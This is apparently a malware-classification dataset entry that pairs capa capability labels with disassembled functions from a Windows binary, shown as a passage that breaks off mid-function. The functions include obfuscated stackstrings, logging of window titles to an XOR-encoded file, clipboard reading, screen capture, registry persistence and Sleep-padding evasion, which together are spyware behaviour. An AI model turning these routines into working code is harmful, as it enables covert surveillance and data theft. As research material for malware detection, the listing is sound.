joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40caf3
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push edi
mov dword [ebp - 0x14], 0
mov byte [ebp - 0x24], 0x77
mov byte [ebp - 0x23], 0x49
mov byte [ebp - 0x22], 0x4e
mov byte [ebp - 0x21], 0x53
mov byte [ebp - 0x20], 0x54
mov byte [ebp - 0x1f], 0x41
mov byte [ebp - 0x1e], 0x30
mov byte [ebp - 0x1d], 0x5c
mov byte [ebp - 0x1c], 0x64
mov byte [ebp - 0x1b], 0x45
mov byte [ebp - 0x1a], 0x46
mov byte [ebp - 0x19], 0x41
mov byte [ebp - 0x18], 0x55
mov byte [ebp - 0x17], 0x4c
mov byte [ebp - 0x16], 0x54
mov byte [ebp - 0x15], 0
push 0x2f
mov eax, dword [ebp + 8]
push eax
call fcn.004258e0
add esp, 8
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40cb5f
xor al, al
jmp 0x40cbc5
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00415953
add esp, 8
and eax, 0xff
test eax, eax
jne 0x40cb7c
xor al, al
jmp 0x40cbc5
mov dword [ebp - 0x68], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x64]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x68], 0x44
lea eax, [ebp - 0x24]
mov dword [ebp - 0x60], eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x68]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x453820
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
neg eax
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x40d450
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40d484
mov eax, 1
jmp 0x40d486
xor eax, eax
mov esp, ebp
pop ebp
ret 8

Function at 0x40d490
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 0xc]
push eax
call fcn.00425260
add esp, 4
add eax, 1
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40d4d2
mov eax, 1
jmp 0x40d4d4
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x40d690
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x75
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x67
mov byte [ebp - 9], 0x2e
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0x61
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0
push 0x104
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x20], 0
push 0
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x1c], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1c], 0x3200000
jae 0x40d786
push 2
push 0
push 0
mov edx, dword [ebp - 0x128]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00433c24
add esp, 4
mov dword [ebp - 0x12c], eax
mov edx, dword [ebp - 0x12c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], 0
jmp 0x40d7c0
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 4]
jge 0x40d7de
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x18]
movsx eax, byte [edx]
xor eax, 0x62
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
mov byte [ecx], al
jmp 0x40d7b7
push 0
lea edx, [ebp - 0x20]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x128]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x40d811
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push edi
push 0x400
push 0
push 0x453828
call fcn.004245f0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [0x453c28], eax
push 0x400
push 0x453828
mov eax, dword [0x453c28]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [ebp - 0x404], 0
mov byte [ebp - 0x400], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [0x453c28]
cmp ecx, dword [0x453824]
jne 0x40d886
jmp 0x40d959
push 0x453828
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40d94f
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [ebp - 0x408]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x40a]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x40c]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x40e]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x412]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x414]
and edx, 0xffff
push edx
push 0x453828
push str._r_n_
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
lea ecx, [ebp - 0x400]
push ecx
call fcn.0040d690
add esp, 4
push 0x400
push 0
lea edx, [ebp - 0x400]
push edx
call fcn.004245f0
add esp, 0xc
push 0x400
push 0
push 0x453828
call fcn.004245f0
add esp, 0xc
mov dword [ebp - 0x404], 1
mov eax, dword [0x453c28]
mov dword [0x453824], eax
mov eax, dword [ebp - 0x404]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40dfdd
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x120], 0
push 0x104
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x75
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x67
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x61
mov byte [ebp - 2], 0x74
mov byte [ebp - 1], 0
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xffffffff
je 0x40e195
push 0
mov ecx, dword [ebp - 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
push edx
call fcn.00433c24
add esp, 4
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x124], eax
push 0
lea ecx, [ebp - 0x120]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x124]
push eax
mov ecx, dword [ebp - 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x128], 0
jmp 0x40e135
mov edx, dword [ebp - 0x128]
add edx, 1
mov dword [ebp - 0x128], edx
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x14]
jae 0x40e161
mov ecx, dword [ebp - 0x124]
add ecx, dword [ebp - 0x128]
mov dl, byte [ecx]
xor dl, 0x62
mov eax, dword [ebp - 0x124]
add eax, dword [ebp - 0x128]
mov byte [eax], dl
jmp 0x40e126
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x124]
push edx
mov ecx, dword [ebp - 0x134]
call fcn.0040e1a9
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x130], eax
mov ecx, dword [ebp - 0x130]
push ecx
call fcn.00433c4d
add esp, 4
mov edx, dword [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x40ea62
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x14], 0x4b
mov byte [ebp - 0x13], 0x45
mov byte [ebp - 0x12], 0x52
mov byte [ebp - 0x11], 0x4e
mov byte [ebp - 0x10], 0x45
mov byte [ebp - 0xf], 0x4c
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x1c], 0x53
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x70
mov byte [ebp - 0x17], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x96
call dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40f4e7
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x440b60
push 0x425808
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
ja case.default.0x40f52b
mov ecx, dword [ebp - 0x28]
jmp dword [ecx*4 + 0x40f69f]
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x24]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je case.0x40f52b.1
jmp case.default.0x40f52b
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40f580
jmp case.default.0x40f52b
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jbe 0x40f5f4
cmp dword [ebp - 0x2c], 2
jbe 0x40f59a
cmp dword [ebp - 0x2c], 4
je 0x40f5cf
jmp 0x40f5f4
mov ecx, dword [ebp + 0x18]
push ecx
call fcn.00425260
add esp, 4
add eax, 1
push eax
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x14]
push eax
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40f5cd
mov dword [ebp - 0x1c], 1
jmp 0x40f5f4
push 4
lea eax, [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40f5f4
mov dword [ebp - 0x1c], 1
jmp case.default.0x40f52b
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40f615
jmp case.default.0x40f52b
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x40f62e
mov dword [ebp - 0x1c], 1
jmp case.default.0x40f52b
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40f64f
jmp case.default.0x40f52b
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x40f52b
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.0040f676
jmp 0x40f68b
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40fc2d
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x40fc47
jmp 0x40fd57
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40fc63
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x40fd57
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalSize]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
call fcn.00433c24
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov byte [ecx], 0x76
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 8]
sub edx, 1
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
push ecx
call fcn.00424650
add esp, 0xc
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 0x1c]
call fcn.0040e9c0
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00433c4d
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x41047e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov dword [ebp - 0x50], ecx
mov byte [ebp - 0x20], 0x4b
mov byte [ebp - 0x1f], 0x45
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x4e
mov byte [ebp - 0x1c], 0x45
mov byte [ebp - 0x1b], 0x4c
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x34], 0x56
mov byte [ebp - 0x33], 0x69
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x75
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], 0x41
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x63
mov byte [ebp - 0x28], 0
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x50]
mov ecx, dword [edx + 0xa8]
call fcn.004110ea
add eax, 1
mov dword [ebp - 0x3c], eax
push 4
push 0x1000
mov eax, dword [ebp - 0x3c]
push eax
push 0
call dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov byte [ecx], 0x73
mov edx, dword [ebp - 0x3c]
sub edx, 1
push edx
mov eax, dword [ebp - 0x50]
mov ecx, dword [eax + 0xa8]
call fcn.004110d9
push eax
mov ecx, dword [ebp - 0x38]
add ecx, 1
push ecx
call fcn.00424650
add esp, 0xc
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x50]
call fcn.0040e9c0
mov byte [ebp - 0x4c], 0x4b
mov byte [ebp - 0x4b], 0x45
mov byte [ebp - 0x4a], 0x52
mov byte [ebp - 0x49], 0x4e
mov byte [ebp - 0x48], 0x45
mov byte [ebp - 0x47], 0x4c
mov byte [ebp - 0x46], 0x33
mov byte [ebp - 0x45], 0x32
mov byte [ebp - 0x44], 0x2e
mov byte [ebp - 0x43], 0x64
mov byte [ebp - 0x42], 0x6c
mov byte [ebp - 0x41], 0x6c
mov byte [ebp - 0x40], 0
mov byte [ebp - 0x10], 0x56
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x46
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0x8000
push 0
mov eax, dword [ebp - 0x38]
push eax
call dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x411189
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0xc], 0x32
mov eax, dword [ebp - 0xc]
xor edx, edx
mov ecx, 0xa
div ecx
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
jmp 0x4111cf
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x10]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0x14]
jge 0x411293
mov ecx, dword [ebp + 0x14]
sub ecx, dword [ebp - 8]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0xc]
jbe 0x4111f4
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
jmp 0x4111fa
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov byte [ebp - 0x24], 0x4b
mov byte [ebp - 0x23], 0x45
mov byte [ebp - 0x22], 0x52
mov byte [ebp - 0x21], 0x4e
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x4c
mov byte [ebp - 0x1e], 0x33
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x30], 0x53
mov byte [ebp - 0x2f], 0x6c
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x70
mov byte [ebp - 0x2b], 0
lea ecx, [ebp - 0x30]
push ecx
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
push eax
call dword [ebp - 0x14]
jmp 0x4111c6
mov esp, ebp
pop ebp
ret 0x10
Function at 0x412980
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 4
mov dword [ebp - 4], 4
lea eax, [ebp - 0x10]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 4]
push eax
push 0
push str.MHz
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x412ae5
Capabilities:
Contain obfuscated stackstrings
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [ebp + 0x10]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004245f0
add esp, 0xc
push 0x400
push 0
lea edx, [ebp - 0x400]
push edx
call fcn.004245f0
add esp, 0xc
mov byte [ebp - 0x438], 0x73
mov byte [ebp - 0x437], 0x79
mov byte [ebp - 0x436], 0x73
mov byte [ebp - 0x435], 0x74
mov byte [ebp - 0x434], 0x65
mov byte [ebp - 0x433], 0x6d
mov byte [ebp - 0x432], 0x5c
mov byte [ebp - 0x431], 0x63
mov byte [ebp - 0x430], 0x55
mov byte [ebp - 0x42f], 0x52
mov byte [ebp - 0x42e], 0x52
mov byte [ebp - 0x42d], 0x45
mov byte [ebp - 0x42c], 0x4e
mov byte [ebp - 0x42b], 0x54
mov byte [ebp - 0x42a], 0x63
mov byte [ebp - 0x429], 0x4f
mov byte [ebp - 0x428], 0x4e
mov byte [ebp - 0x427], 0x54
mov byte [ebp - 0x426], 0x52
mov byte [ebp - 0x425], 0x4f
mov byte [ebp - 0x424], 0x4c
mov byte [ebp - 0x423], 0x73
mov byte [ebp - 0x422], 0x45
mov byte [ebp - 0x421], 0x54
mov byte [ebp - 0x420], 0x5c
mov byte [ebp - 0x41f], 0x73
mov byte [ebp - 0x41e], 0x45
mov byte [ebp - 0x41d], 0x52
mov byte [ebp - 0x41c], 0x56
mov byte [ebp - 0x41b], 0x49
mov byte [ebp - 0x41a], 0x43
mov byte [ebp - 0x419], 0x45
mov byte [ebp - 0x418], 0x53
mov byte [ebp - 0x417], 0x5c
mov byte [ebp - 0x416], 0x25
mov byte [ebp - 0x415], 0x73
mov byte [ebp - 0x414], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x438]
push ecx
lea edx, [ebp - 0x400]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
mov eax, dword [ebp + 0x10]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
push 1
push str.Host
lea edx, [ebp - 0x400]
push edx
push 0x80000002
call fcn.0040eeea
add esp, 0x20
mov byte [ebp - 0x40c], 0x6c
